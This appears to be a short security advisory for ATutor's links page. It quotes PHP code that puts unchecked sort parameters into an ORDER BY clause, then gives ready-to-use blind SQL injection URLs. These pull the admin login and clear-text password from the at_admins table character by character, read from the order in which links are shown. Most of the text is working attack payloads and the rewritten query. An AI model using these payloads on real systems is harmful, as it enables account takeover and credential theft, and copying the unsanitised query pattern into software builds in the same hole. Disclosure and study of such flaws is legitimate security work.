vulnerable code in /links/index.php at lines 92-100

//get links
$groups = implode(',', $_SESSION['groups']);

if (!empty($groups)) {
        $sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN 
".TABLE_PREFIX."links_categories C USING (cat_id) WHERE 
((owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") OR 
(owner_id IN ($groups) AND owner_type=".LINK_CAT_GROUP.")) AND L.Approved=1 AND 
$search AND $cat_sql ORDER BY $col $order";
} else {
        $sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN

L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";
}
$result = mysql_query($sql, $db);
...

with MySQL >= 4.1 you can inject a subquery after the ORDER BY statement, ex:

http://[target]/[path_to_atutor]/links/index.php?desc=(SELECT(IF((ASCII(SUBSTRING(password,1,1))=101),LinkName,Description))FROM%20at_admins)%20DESC%20LIMIT%202/*
http://[target]/[path_to_atutor]/links/index.php?asc=(SELECT(IF((ASCII(SUBSTRING(login,1,1))=102),LinkName,Description))FROM%20at_admins)%20DESC%20LIMIT%202/*

query becomes like this:

SELECT * FROM AT_links L INNER JOIN AT_links_categories C USING (cat_id) WHERE 
(owner_id=1 AND owner_type=1) AND L.Approved=1 AND 1 AND 1 ORDER BY 
(SELECT(IF((ASCII(SUBSTRING(login,1,1))=101),LinkName,Description))FROM 
at_admins) DESC LIMIT 2/* desc

so you can ask true/false questions to the database about the admin 
username/clear text password
you will see results in the way links are ordered at screen
You need at least two rows in at_links table
Other queries may be vulnerable to this kind of injection, since ORDER BY 
statements
are not checked at all...
This may hide undisclosed vulnerabilities in a lot of apps, I suppose...
